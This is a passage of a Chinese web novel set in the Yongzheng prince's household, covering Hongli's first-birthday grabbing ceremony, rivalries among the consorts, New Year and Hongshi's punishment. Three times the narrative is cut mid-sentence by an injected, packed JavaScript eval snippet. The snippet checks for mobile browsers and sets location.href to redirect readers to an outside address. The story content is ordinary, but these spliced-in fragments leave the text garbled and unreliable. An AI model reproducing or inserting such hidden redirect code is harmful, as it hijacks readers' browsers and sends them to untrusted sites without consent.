“哈哈哈,五哥你这就自觉年纪大了?”十三爷笑道,“我瞧着五哥正是春秋鼎盛之时,何必妄自菲薄呢?” 恒亲王淡笑不语,他的性格素来敦厚,在兄弟们中间也都是习惯性打圆场的。方才老九出言不逊,偏偏又是他一母同胞的亲弟弟,他可不想在今日看着老九和老四闹起来,这闹出去是老九不占理。 弘昼窝在四爷的怀中听着他们打机锋,怎么说呢,很符合自己对皇家兄弟的幻想。在一起就容易争斗,看上去不大和谐。 “各位爷,”一个小厮打扮的人上前来恭恭敬敬行礼,“一切皆备好了,请各位爷前去观礼。” “诸位兄弟请吧。”四爷站起身,犹豫了片刻没有将弘昼放下,而是单手抱着做出了一个请的姿势。 来到了准备好的地方,厅前铺了一块又大又厚的地毯,地毯上又铺了一块红布。红布上面摆满了东西,笔墨纸砚,木质的弓箭和小剑,甚至还有雕刻的马儿之类的东西,摆得满满的,每样东西都瞧着极为精致而且寓意都不错,一看便知道是花了大心思的。 李侧福晋在福晋的身后安静地立着,此时见着四爷过来的时候怀中抱着弘昼。脸上的神情不自然了一瞬间,但马上低头掩饰了过去。 从前弘时年幼时,别说弘时了,弘昐和弘昀年幼时都没有这个待遇。只有怀恪四爷在幼时抱过多次,这回怎么就愿意抱这个小子了,不是说抱孙不抱子吗? 耿执羽和钮祜禄格格安静地站在角落里,即便钮祜禄格格是这次抓周宴主角的生母。可也只能站在边边角角观礼,没有上前去的资格。 此时见弘昼被四爷抱过来,钮祜禄格格的眼眸中带了一抹笑意,悄悄示意了一下耿执羽。耿执羽先是一愣,随后嘴角也扬起了一丝笑。 这边这几位爷过来了,抓周便要开始了。弘昼瞧着四哥被放到了红布上面,下面的人一齐瞧着他能抓个什么东西出来。 这上面的东西,只要能抓住一两个,不论抓的是什么都能说出好寓意来。 弘历被放到红布上的时候没有急着爬过去抓东西,而是好奇一般往四周看了一眼。目光扫过福晋和来客女宾后,放到了男宾这边,最后定格在了弘昼的身上。 此时弘昼被阿玛抱着,正兴致勃勃瞧着四哥这回会抓什么。 前几日的时候,钮祜禄格格的玉池院中也摆了两回这样的阵势。当然东西必然没有今日抓周的东西多,也不如今日的东西精致,这是钮祜禄格格摆出来生怕孩子抓到什么不好的东西,让他先试试的。 毕竟只是私底下试一试,也就不那么严谨。甚至有两回是将弘昼也摆在上面,看看这两兄弟会抓什么,甚至自家额娘还坏心眼地表示了,看能不能两个小阿哥抓到一件东西,然后哭起来。 现在瞧见四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990872|161628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥望过来的目光,弘昼突然有了点不好的预感。 只见弘历就地坐到了地上,朝着弘昼的方向开始拍手:“弟弟……弟弟过来,一起玩。” 因着在自己的小院中模拟了几回,所以在弘历的眼中抓周就是玩儿。这地上的东西喜欢什么就可以抓起来,给额娘的时候额娘会夸几句,这样好玩的事情一定要叫上弟弟一起玩。 站在阿玛身边的弘时迷茫地眨了眨眼,又往上瞧了瞧被阿玛抱在怀中的五弟。四弟和五弟这样亲近的吗? 弘时被养在前院,虽然到东侧院的时候听额娘说了这两个弟弟是在以后要和自己争家产和世子之位的。但在他心中,这么两个小孩子他肯定是不惧的,所以也不大害怕额娘口中说的话,毕竟阿玛这样看重他,每隔两日便要考校一回学问。 虽说经常挨骂,但听别的堂兄弟说,有些叔伯都不管他们呢。 在场其余的宾客也愣了一下,这……抓周宴参加那么多场,这还是头一回见到哥哥要弟弟一起过来抓的。 “四哥,你家这两个小阿哥倒真是兄弟情深啊。”十二爷奇道,“我这还是头一回听见抓周要把弟弟也放上去一起抓的。” 福晋的目光若有若无地扫过耿执羽和钮祜禄格格,随后放到了四爷抱着的弘昼身上,脸上浮现了端庄的笑意:“想来是这两个孩子往日里素爱在一起玩,弘历和弘昼最是要好不过的,这才让弘历想让弟弟也一起过去。” “哼,”九爷轻轻哼了一声,低声说道,“做戏罢了。” 这声音很轻,方才那样的场合只有他们兄弟几个,他给老四难堪也传不出去,最多让老四吃个哑巴亏。但是现在大庭广众之下,便要开始注意了。 八贝勒轻轻看了过去,九爷眼神往别处瞥了一下,表示自己不会多嘴。 四爷在原地沉吟片刻,按道理来说今儿是弘历的抓周该让弘历自己抓完的。但是既然弘历自己要的让弘昼一起也不失为一桩好事,传出去别人也只会说雍亲王府的阿哥们兄友弟恭,这样的好名声从来是不嫌少的。 “既然弘历要弟弟,就把弘昼也放上去吧。”郑嬷嬷接过弘昼,将他放到了弘历旁边。 弘昼茫然地从阿玛的怀中被抱到了四哥旁边,感受到全场的目光都在看自己这里。而旁边的小崽子还在拍手,见自己过来了还扒拉了两下自己。 “弟弟,一起,玩!” 弘历豪情万丈地挥了挥手,似乎在说这里的东西随便挑。 耿执羽有些紧张地攥紧了帕子,这突如其来的一出让她有些慌乱。想着若是弘昼等会儿抓到了什么不好的东西怎么办,弘昼只是在弘历抓东西的时候过去捣乱过,自己从来没有专门和他说过啊。 钮祜禄格格感觉到了旁边人的惊慌,伸出手轻轻抓住了她的手拍了拍,示意她不要慌乱,轻声道:“弘昼素来是个聪慧的孩子,这场上的东西也都是好东西,不论抓什么都不会错的。” 10. 第 10 章 第10章 在弘历的眼中,自己抓东西的时候弟弟经常在。现在弟弟明明就在这里,就是一定要和自己一起抓的。 看到弘昼被放过来后,弘历开心地拍了两下手后伸出手去抓着弘昼笑道:“弟弟,一起抓。” 趴在红布上的弘昼头往布上面一埋,他不想在这么多人面前出风头啊。四哥你自己的抓周自己抓不就好了,为什么要拉着我一起。 “瞧着两个小阿哥的性子倒是不同。”诚亲王胤祉摸了摸自己的下巴,“老四幼时可和他们不大一样。” 四爷的脸上带着浅淡的笑意,闻言并未说话。心中微微有些得意,他素来和十三弟兄友弟恭,现在瞧着弘历和弘昼应当和他与十三一般,真不愧是他的孩子,果然类他。 见弟弟不起来,弘历疑惑地往弘昼埋着的地方探去。想要看看这块布到底有什么地方吸引了弟弟,但刚伸过去,就看见弟弟起来了。 “抓,哥哥抓。” 弘昼接受现实抬起了脑袋,四周看了一圈。只觉得这个角度看过去,站着的人都像是巨人似的。只想快些和四哥一起将东西抓了,被奶嬷嬷抱着下去。 说着,弘昼就从旁边随意地抓了个东西起来。 见弟弟已经开始抓了,弘历便在红布上寻摸了起来。上次抓的这个笔额娘好像很高兴,上上回抓的小弓额娘也很高兴,印章好像也可以。 这样想着,弘历先是两手抓了个弓和笔。正在众人准备开口夸赞的时候,却见弘历拿着手中的弓和笔,放到了弘昼的身旁。 “四哥,你家这个老四瞧着倒是聪慧。”恒亲王啧啧称奇,“看了这么多的抓周宴,这还是头一回见到正主抓周将东西抓了给弟弟的。” 四爷压抑着嘴角的笑,谦逊地说道:“不过是寻常儿童罢了,当不得五弟这样的夸赞。” 随后,弘历又抓了印章过来。一并抓过来的还有一件制作精致的摆件,将东西都放过来之后,弘历将摆件塞到了弘昼的怀中。然后自己抱着笔弓和印章,看着额娘的位置大声说道:“抓完了!” 弘昼刚刚随意抓到的东西是一只制作精致的布老虎,花纹别致,绣工精湛瞧着就知道价值不菲。加上被四哥塞过来的摆件,弘昼的怀中就抱着两样东西了,还都是玩乐的东西。 “这四阿哥抓了弓和笔还有印章,想来日后必然文武双全,官运亨通。” 见似乎已经抓完了,便有人笑眯眯上前恭维四爷:“瞧着日后便是有大出息的孩子,如此年幼便知道友爱弟弟,还给弟弟也塞了一件东西呢。这般兄友弟恭,想来也是王爷往日里将孩子教育得好。” “是啊,还不曾见到这般年幼便知道让着弟弟的孩子呢。古有孔融让梨,如今也有四阿哥让着小阿哥,王爷以后必然是有后福的人。” “这般钟灵毓秀的孩子,王爷一得便是两个。如何不叫我们这些人羡慕?若我家降生了一个这般的孩子,我都要成日里去寺庙里还愿了。” 看着被人恭维着的四爷,九爷冷哼了一声,但没多话。 他心里觉得这必然是老四提前在家中教出来的,老四虽然在外头看着冷漠,但实际上自己私底下竟然有这样的小心思。真不愧是他,果然奸诈狡猾。 被围着恭维的四爷脸上带了笑,嘴上虽然还在谦逊,但心里也是高兴的。 这一年来一直忙着,虽然抽空去看了两个孩子几回。但却不曾知道他们这般友爱,而且这样聪慧。 本来抓完了东西,就该被抱回去的弘历和弘昼因着方才的动作,成功被抱到了各位叔伯的面前。 弘昼听着他们互相叫着十三弟十四弟,心中惊叹了一声。我那未见其人的祖父,可真能生,光是儿子就有十几个,那加上女儿不得二三十个孩子。 而弘昼也喜提了新待遇,一直被阿玛抱着直到宴会散去。 待客人们都走了之后,府中众人皆聚集在正院。弘昼和弘历已经被各自的奶嬷嬷抱着了,福晋和四爷坐在最上首,下头坐着侧福晋格格们。 李侧福晋坐在了左侧的第一把椅子上,对面坐着的便是钮祜禄格格。而李侧福晋下首坐着的便是耿执羽,耿执羽对面坐着生过两个女儿但都没养活的宋格格。 下面还有武格格和张格格,其余的侍妾是没有资格前来正厅的。 雍亲王府的格格并不算多,其中宋格格是当初四爷年幼时德妃赏下来的,是四爷的头一个女人。但一直都不算得宠,生过两个女儿都去了之后,宋格格在这府中便如同透明人一般,她平日里便不爱出门走动,是以弘昼还是头一回见到她。 “今儿宴办得不错,”四爷轻呷了一口茶,微微侧身看向福晋,“福晋费心了。” “这都是妾身的分内之事,”福晋脸上端庄的笑意没有变化,“钮祜禄格格这几日里也跟着忙前忙后的,帮了不少忙。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990873|161628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用了人之后便要给她请功,这才能让人以后心悦诚服地给办事。 四爷的目光扫向了钮祜禄格格,见她低眉敛眼的模样,又思及方才弘历的友爱弟弟和懂事乖巧的模样。心中不由升起一股赞赏之色,果然平日里瞧着就是个知进退的,教出来的孩子也不错。 府中养活的孩子不多,但府中降生的孩子却不算少。养到能去前院念书的男孩就有三个,但现在已经夭折的便有两个,唯一一个还活着的便是三阿哥。 这三个能在前院念书的男孩,四爷都是费过心思的。弘晖是长子,又是福晋所出,四爷当初对这个孩子寄予厚望,一心盼着能教出个文武全才的好孩子。 弘晖也没有让人失望,不论是念书习字,还是骑马射箭皆学得极好。若非八岁的一场风寒,这雍亲王府的世子之位早该封了。 后来的便是行二的弘昀,弘昀这个孩子也聪慧。虽说被李氏教得小性了些,但掰回来之后也是个好孩子。这个孩子念书也好,只可惜身体太弱,十岁那年也去了。 最后的便是弘时了,弘时刚出生的时候,弘晖刚夭折,弘昀念书极好,加之弘时表现得有些愚鲁。四爷对这个孩子本来也没有抱太多希望,只以后自己在的时候给他铺一条富贵路便罢了,只要不学坏了,便算成功。 可没想到弘时五岁那年,弘昀去了。这个愚鲁的孩子变成了王府唯一的男孩,四爷只能将希望寄托在他身上,盼着能将他教好。甚至后来王府接连好几年没有人怀孕,四爷也只能认了,自己的继承人是个蠢人,但钮祜禄氏和耿氏的怀孕给他带来了好消息。 在孩子降生之前,四爷都没有抱太大的期待。毕竟怀了但生不出来的实在太多了,怀上不一定就能生下来。 直到后来生下来之后,养到如今已经一岁了,且两个孩子看着都很是康健。这才让四爷的心中又燃起了一点小火花,今日这两个孩子的表现瞧着也不像蠢人,日后到前院念书时好好教导想来自己也不会后继无人。 想到这,四爷扫过耿氏和钮祜禄氏的脸,笑道:“钮祜禄氏和耿氏将孩子养得不错,当赏。” 李侧福晋将手里的锦帕攥紧了,控制着脸上不要出现狰狞嫉妒的神色。 她养过四个孩子,如今怀恪和弘时都还养着呢。可她从未听过爷这样夸她一次,钮祜禄氏和耿氏养的这两个还不知道能不能养活呢,也就今日出了回风头就这样夸。 11. 第 11 章 第11章 瞥见李侧福晋脸色狰狞的模样,福晋低头抿了口茶掩住了即将露出的笑意,和颜悦色道:“妾身也觉得两位妹妹将孩子养得不错,瞧瞧弘昼脸上肉嘟嘟的,一看就知道耿妹妹是用心了的。还有弘历,竟然这般小的年纪就知道要友爱弟弟了,想来平日里也是钮祜禄妹妹教育有方。” 见四爷的脸色越发和煦,福晋一连声将两个孩子夸上了天。 李侧福晋的目光从两个孩子的身上扫过,又扫过了耿执羽和钮祜禄格格。手中的锦帕几乎要搅碎了,但她前不久刚被罚了,现下还不敢在外头表现出如此明显的嫉妒之态。 直到从正院离开的时候,耿执羽都觉得背后有双眼睛盯着自己。 泗水院和玉池院离得最近,耿执羽和钮祜禄格格一起走。两个小阿哥被奶嬷嬷抱着走在后头,只这两位走在前面。 “今儿真真是吓死我了,”耿执羽拧着眉,轻轻叹了口气,“今儿弘历要弘昼过去的时候,惊得我出了一身的汗。” “你看你,胆子还是这么小。”钮祜禄格格轻轻拂过耿执羽的发丝,笑道,“这又不是什么坏事,如今想来外头都要传咱们雍亲王府的两个小阿哥兄友弟恭的事了。这是好事,不必惊吓。” “可是那样的场合,弘昼突然被爷抱过去就罢了,还在众目睽睽之下……还好这次爷是高兴的,若因此让爷恶了弘昼,那可怎么是好。”耿执羽还是有些惊魂未定。 这样的场合出风头,有的人是喜欢的,也有的人是不喜欢的。四爷往日里冷淡肃穆,耿执羽对这位府上的主君唯一的印象便是如此,她见四爷的机会不算多,对四爷的了解也不算很透彻,自然怕因着这样的风头让四爷恶了孩子。 孩子的阿玛没有经历过怀胎十月,也没有亲手养过孩子,对孩子的感情也尚未培养出来,恶了孩子是一件很容易的事情。 这样的事情耿执羽见过不止一回了,她很怕自己的孩子也会这样。生在这样的家中,有阿玛愿意护着和没有阿玛在意绝对是一个天上一个地下。 “放宽心,”钮祜禄格格轻轻握住了耿执羽的手,轻声道,“毕竟是爷的孩子,况且传扬出去的也并非什么坏事,爷又怎么会因着这点小事就不喜两位小阿哥呢。” 说到这里的时候,钮祜禄格格的声音更轻了。 “毕竟爷可是不止一回说过三阿哥愚鲁了,府中之前只有三阿哥爷即便觉得他愚鲁也只能接着教。如今又多了两个聪慧的阿哥,爷只会更关注些。有了爷的关注,弘历和弘昼才能过得更好。” 耿执羽凝着的眉头微微放松:“姐姐说得对,是我着相了。只今日的事情最好少来两回,姐姐不知道看见弘昼被抱过去的时候,我这心都要跳出来了。” “如何不知?”钮祜禄格格笑道,“我可就站在你旁边呢,眼看着你一下子脸就白了,明明脸上还涂着胭脂水粉呢。” 耿执羽脸上这才出现了笑:“好啊,这才没过多久呢,姐姐就开始笑话我了。还有呢,姐姐方才感觉到李侧福晋看我们的眼神了吗?仿佛要把咱们活吃了。” 一路说笑着就走到了玉池院,和耿执羽道别过后钮祜禄格格走进了院子。她的脸上还带着淡淡的笑意,吩咐嬷嬷将弘历带去休息后才走进卧房。 这一日折腾下来,如今已经明月高悬了。今日一大早便起来帮忙,到如今钮祜禄格格只感到身上全然都是疲惫,洗漱完后坐在床前才露出疲色。 每每在弘昼来的时候才让弘历练习抓周是钮祜禄格格故意的,甚至在每次都要弘昼过去一起抓也是故意的。孩子的年纪小,若是专程去交代什么,弘历不一定能记住,但是一直这样潜移默化,孩子便一定能记得牢牢的。 果然,这回弘历就在抓周的时候找弟弟。 回想起四爷看见两个孩子一起在红布上抓周时的笑意以及眼角的喜色,钮祜禄格格知道自己走对了一步棋。 李侧福晋素来嚣张,既然三阿哥本就是个愚笨的,那她的弘历为何不能取而代之呢?大家都是庶子,自己的弘历生来就聪慧,何必一直被一个蠢物压在下头呢? 即便日后弘历长大后没有那么聪慧,不能将弘时全然压过。但只要四爷的目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990874|161628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向孩子多一分,那日后为孩子筹谋的心思就会多一丝。这一丝一毫之间的差距,可并不算小。 想到这钮祜禄格格的嘴角慢慢起了一丝笑意,今日这一出后,想来四爷来后院看两个孩子的日子也会多些。 耿执羽回了院子后看了看被奶嬷嬷抱着弘昼,发现他已经睡过去后又是好笑又是心疼:“快抱他去睡吧,这一整日的折腾下来,想来也是累坏了。” 弘昼今日大早上就被抱起来打扮了,到了之后便被四爷叫人抱走了,这一整日里几乎都没睡过。往日里弘昼不仅要睡到日上三竿,午时还要歇一会午觉,今日这一通折腾孩子早就累了。 看着奶嬷嬷抱着孩子回卧房之后,耿执羽才回了自己的卧房。 娑鸣上前来帮着格格卸下了头上的钗环,等洗掉了脸上的脂粉后才伺候着格格上床歇息。 弘历抓周礼这件事大办之后,便是要忙着怀恪郡主出阁的大事了。这样的婚嫁大事,雍亲王府还是头一回办。 这是四爷头一个成婚的儿女,福晋自然拿出了全部精力来办这件事。这头一个事要办好了,后头办事才能一切顺畅。加之四爷又疼这个女儿,除却内务府准备的郡主嫁妆外,四爷添了不少,这几日里府中库房能看见一群人拿着对牌出出进进的,都是为郡主预备嫁妆。 额娘聊天的时候弘昼还听了一耳朵,说是这次阿玛给这位姐姐添的嫁妆可以称得上是十里红装了。金银摆件,玉石珍玩,京城里的宅子,京城外的田地庄子,一应俱全。听得弘昼都恨不得自己如今已经是能跑能跳了,也去凑凑这个热闹,瞧瞧十里红装是个什么气派。 弘昼的抓周因和姐姐出阁的日子离得太近了,在一个月里头的,便只是在自己家中办了个小宴。 因着不能大办,四爷和福晋那边倒是赏赐了不少东西。弘昼看着抬进来一箱箱的东西,觉得自己这个抓周不办似乎也不是什么大事。 很快,新的一年要来了,怀恪郡主的婚事也办完了。府中却突然传出了一股风声,说是今年选秀德妃娘娘预备着给四爷赐一位出身高贵的侧福晋。 12. 第 12 章 第12章 这算起来应该是弘昼在这个时代过得第二个年了,去年刚出生的时候便是要过年了。但当时弘昼尚且听不懂周围人说的话,眼睛也看不清楚周围的环境,根本没有享受到过年的氛围。 但今年就不一样了,从入了腊月开始,院子里就开始挂红了。耿执羽同着几个侍女一起剪窗花,剪出了形状各异的窗花。 尤其到了腊月二十几日的时候,弘昼一睁眼就能看见不论是额娘还是侍女嬷嬷都穿得极为喜庆。每个人脸上都带着笑意,这几日里弘昼经常被额娘抱着去钮祜禄格格那里串门。 这日里钮祜禄格格这里正刚带着小丫头们将屋子里里外外收拾了一遍,虽说平日里钮祜禄格格便很是爱干净,屋中算得上是一尘不染。但腊月二十四,掸尘扫房子的风俗还是不能变。 “来得正巧,”钮祜禄格格难得穿了一身的银红绣着如意云头纹的缂丝衬衣,见她们过来笑道,“若是早来一刻钟,怕是要被灰扑一身了。” “姐姐可别逗我,你素日来便是最讲究不过的人了。这屋子日日都要清扫,隔上十天半月的便要彻彻底底清扫一次,又哪里来的灰?” 将耿执羽迎到榻前坐下,钮祜禄格格方才笑道:“你不忙着在泗水院中扫尘,过来我这做什么?” “昨儿才祭灶,今儿便扫尘,明后又有别的事。”耿执羽将弘昼抱在怀中,“这一过年起来便觉得整个人都忙起来了,我懒得在院中看着她们打扫,便让娑鸣在院中看着,我跑来你这夺清闲。对了,怎么不见弘历?” “去将弘历抱来吧。”钮祜禄格格吩咐了一下旁边立着的贴身侍女鸾晴,不一会儿弘历就被抱过来了。 和小三个月的弘昼比起来,弘历看上去要大了一圈。将两个孩子放到榻上,又拿了些玩具让他们自己玩,耿执羽便开始了八卦。 “姐姐听说了吗?听闻今年选秀要进一位侧福晋。” 钮祜禄格格端起茶盏的手微微一顿,无奈道:“这府中如今还有谁没听说呢?选秀都是七八月份的事情,隔着还有半年呢。” “那估摸着便是有看重的人今年选秀了。”耿执羽啧啧道,“一进来便是侧福晋的位置,想来家世应当很是不错,但愿这位侧福晋是个好相与的,莫要……” 莫要和李侧福晋一般,每回瞅见人都眼睛不是眼睛鼻子不是鼻子的。 对于耿执羽来说,在雍亲王府中生活,福晋和侧福晋对她而言甚至在某些方面比四爷更重要。四爷并不是常常能见到的,但是请安的时候免不了要和福晋以及侧福晋打交道,隔三岔五就能碰见的人,若是这人不好相处还压自己一头,想想便无比憋屈。 所以在知道府中会进一位侧福晋的时候,耿执羽便盼望着这位侧福晋最好是位良善的。但愿能好相处些,不然多了位不好相处的侧福晋,日后去请安的时候便更烦了。 “好了,如今还没影子的事情呢。”钮祜禄格格笑道,“与其担心这个,不若想想今年福晋和爷过年要进宫,府上的除夕宴咱们便可以热闹热闹。” 福晋从来不苛待府上的格格们,像这样的年节按规矩福晋四爷还有侧福晋都是要进宫参宴的。其余留下的格格们便有福晋命人在景致好的地方摆上两桌丰盛的饭菜,又请两个戏班子也来热闹热闹。 “说起这个,”耿执羽摸了摸自己的脸抱怨道,“生了弘昼我倒是许久不曾看戏了,这回除夕我定要点上几折。还有那说书的女先生,也不知道最近有没有出什么新鲜的故事,好久都没听了。” “那你过年的时候必能点好几出了,记得先备好赏钱。到时候咱们姐妹自己去看,弘历和弘昼就自己在院中睡觉。” 弘昼听着额娘的谈话,心里对过年不禁升起了一丝期待。虽说在后世也看过一两场京剧,但现在的剧集和后世的京剧应当是有些区别的吧。 很快地,除夕这日便来了。 福晋请来的戏班子没有让弘昼失望,他虽然只看了一折戏,但台上的 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她从前是不懂这些的,毕竟她的娘家统共也就两个伺候的人。家中也不算很富裕,额娘和阿玛年节的时候尚且不曾给她发钱,更别提那两个伺候的了。 这是后来她发现福晋过年都要给格格们送年礼,福晋院中伺候的人逢年过节都另有赏赐。甚至不止福晋,李侧福晋也是这样,她便也学着发了。 虽然娘家不算富裕,但福晋待她们这些格格不错。她手里也还算宽裕,这样发银子倒是也没有不舍。 银子发下去后,看着一张张感恩戴德的面孔。耿执羽心里微微松快了些,这伺候的人若是忠心便能省却不少的事端来。要他们忠心,平日里便不能苛待了,但同时院子里的规矩也要立好。 如今自己依葫芦画瓢似乎做得还不错,起码没有出过什么差错。 等弘昼第二日睁开眼睛,外面是热热闹闹的,迎面而来便是额娘满面的笑意。 除旧迎新又一年,他已经开始对这里产生归属感了。 13. 第 13 章 第13章 新年对于大人们来说是繁忙而又喜庆的,但是对于小孩子来说便只剩下快乐了。但是这样的快乐,和弘昼这样尚且还不会走路的孩子是没有多大关系的。 感受着从额娘以及侍女们身上传来的年味儿以及开心的笑容,弘昼羡慕极了。可惜他现在只是一个尚且能扶着墙走两步的小萝卜头,外面的喧闹大多和他无关。 很快的年就过完了,院中布置的红色的装饰也都被撤了下去。 四爷这段日子往泗水院和玉池院来的次数不算少。但他几乎不在这两处院落过夜,只是过来看看孩子,偶尔也派人将孩子接去前院瞧瞧。 弘昼第一次到前院书房的时候,心中暗暗感慨了一下,自己这一世的阿玛品位真不错。这书房布置得极为典雅,得出里头的布置摆件都是精心挑选过的。对于这些东西的价值弘昼并不大清楚,只觉得看这些东西摆在一处的时候眼睛舒服极了。 之前四爷是将两个年幼孩子一起接到书房来,但因着弘昼和弘历过来,难免便在书房打闹起来。一次两次的还好,多了四爷便觉得自己有些扛不住了。书房本就专选了清幽之地,往日里即便是院中的仆从洒扫也是极为小心的,但这两位小爷过来可从不知道什么叫安静。 偏偏四爷也对此无可奈何,毕竟若是孩子的年纪大上一些,他便也可好好地同他们讲道理,或者直接责罚。但偏偏现在这两个孩子大的一岁半,小的也不过一岁出头,即便他自视并不是一个慈父,但也做不到对这么小的孩子责骂或者责罚。 后来四爷便学乖了,每次只叫一个孩子过来。只要弘昼和弘历不一起过来,便不会将这书房闹翻天。但这回,弘昼过来了不久,书房便又进来了一个人。 这人看着八九岁的模样,身上穿了一件天青色常服整个人很是匀称,不胖不瘦。只面色极为白皙,五官间和弘昼见到过的李侧福晋有着三四分的相似,看起来是个长相精致的孩子。 这样精致的面容本来是应该让人见一面便心生好感的,但因着眉眼间带着两分畏畏缩缩的气质,难免给人第一印象大打折扣。 一见到这位,弘昼不必人介绍便知道这是谁了。 在这府中自己有一位姐姐和两位哥哥这是弘昼知道的,年前的时候有两回耿执羽带着弘昼去给福晋请安。在请安的时候,就见到了那位二姐姐。而两位哥哥,四哥弘历就不必说了,是时常在一起玩儿的。另一位三哥哥也是李福晋所出,今年已经八九岁,一直被养在前院由四爷亲自教导,想来就是这位三哥哥了。 “儿子见过阿玛。”弘时行礼问安的时候动作很标准,但一直垂着脑袋,连眼神都不敢往上瞟一下,便知道他有多畏惧这位阿玛。 弘昼被安置在了书房一侧的一把对他而言极大的太师椅上面,这个视角刚好能看见三哥低头的时候微微有些颤抖的双手。这让弘昼有些好奇,自己的这位阿玛平日里是怎么管教孩子的?居然能让这个年纪的孩子这么怕他。 按照寻常人家来说,七八岁的孩子正是闹腾的时候。那个时候的孩子多动,精力旺盛,应当是一天都有数不完的牛劲儿。 而自己这位三哥瞧着可一点儿都称不上精力旺盛,反而是眼底仿佛还有着黑眼圈。 等自己长大以后搬到前院不会也要被这样教育吧?弘昼看着四爷已经黑沉下去的脸,心里不禁有些打鼓,这瞧着心情可不怎么好,明明刚才和自己玩的时候还笑呢。 “去,将五阿哥抱回泗水院去。”四爷看了看在书房门口站着的郑嬷嬷,开口吩咐道。 闻言,弘昼不禁更加怜悯地看了一眼这位似乎正在发抖的三哥。自己本来就是被抱过来玩儿的,现在要将自己提前扔回去,想来接下来的时间便是阿玛教训这位三哥了。也不知道是三哥做错了什么,看阿玛的脸色可已经糟透了。 但随即他又不免为自己和四哥的以后点上了一根蜡烛,听额娘说自己和四哥在3岁以后也是要搬到前院来住的。从前的大哥和二哥以及现在的三哥都是这样的例子,四爷会在孩子养到三岁后接到前院来亲自教养。 因为四爷黑沉的脸色,弘昼被抱走的时候很乖。这 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可一见到弘时,四爷便觉得自己压抑的怒气又起来了。 念书不行,骑马射箭也不行。但偏偏跟着别人出去鬼混最是在行,弘晟是什么好人吗?整日里花街柳巷地窜着,竟然跟着这样的人去一起搅和。 “你既然知错,为何问你错在何处又不答?”四爷声音已经染上了怒火。 弘时一下子就跪了下来:“儿子不该跟着弘晟堂哥他们去天香阁,不过儿子去之前当真不知道那地方是……” 若是弘时现在二十几岁,甚至十几岁。跟着堂哥去一个戏曲班子听戏,四爷即便听见会皱皱眉,但也不会太过当回事。 但他现下不过才九岁,去年才允了他可以出门和王公子弟们进行交际。那时四爷几乎是他但凡出门都要过问,半年后才放松了些。 但这才放松多久,便出了这档子事。 特别是在听到弘时这辩解的话语后,四爷只觉得自己的怒气更甚。 14. 第 14 章 第14章 “你不知?”四爷冷笑一声,“我看你知得很,从前便告诉你,对弘晟寻常往来即可。你这是怎么做的,这些日子你都在做些什么?” 弘时微微张了张嘴,似乎想要辩解什么。最后只是颓唐地闭上了嘴,脑海中几位堂哥的话不断在耳边闪现。 “你阿玛就是瞧不上你。” “四叔怎么能这样呢?你既是长子,额娘又比那两个小的要尊贵些,世子之位合该就是你的。” “听闻现在外头都传雍亲王府两位年幼的小阿哥聪慧无比,又这般稚龄便知道了兄友弟恭。可是弘时啊,你这个长子外头倒是没什么人知晓了。这样下去,焉知四伯不会更看重那两个小的。你可要小心些啊,弘晟堂哥都已经封世子了,五伯家中也已经定下了,你们雍亲王府夹在中间,怎么还没定下来呢?” “你可要开始为自己打算了,阿玛是所有兄弟的阿玛,唯有划拉到自己手上的才是自己的。” 见弘时一言不发,四爷深吸了一口气,只觉得脑子都开始疼了起来。 他从前便想过,上天不佑让自己两个聪慧的孩子都早逝。不论是弘晖还是弘昐,只要活下来一个他此时便不会在这里为难了。这两个孩子从来都不会让自己这个阿玛为难,他们定能念好书,照顾好姐姐弟弟。 但偏偏留下来的是这个有些愚鲁的孩子,四爷知道这孩子的天资有限,也尽量不用自己当年的情况来要求他。 可如今只是要求他勤奋些,莫要惹事都办不到。 他如今来往的那几个哪里是什么善茬,只怕这小子被哄得吃了亏还以为自己占了便宜呢。 微微闭上眼,四爷盖住了眼中的失望之色:“你既不肯说,又违背父命,今日必得让你长个教训。去领十板子,今后半年皆在府中认真读书,外头的不论是谁的帖子都不许去。” 弘时猛然抬头,长这么大他还是头一回被阿玛打板子。 从前不论是念书不好,还是骑射学不好的时候,大多时候是训斥,即便气急了也是打手板。打板子这样的事情,弘时还是头一回在阿玛的嘴中听说。 虽然自己没挨过打,但也见过伺候的人挨打,弘时想起那些被打得血肉模糊的场景当即吓得一激灵。心中不禁对阿玛升起了些埋怨,自己不过就是被诓到了戏班子中听了两出戏,这对八旗子弟实在不算什么大事。 更何况自己还是亲王的儿子,更是长子。阿玛平日里对自己不假辞色便罢了,如今竟然这样待自己。 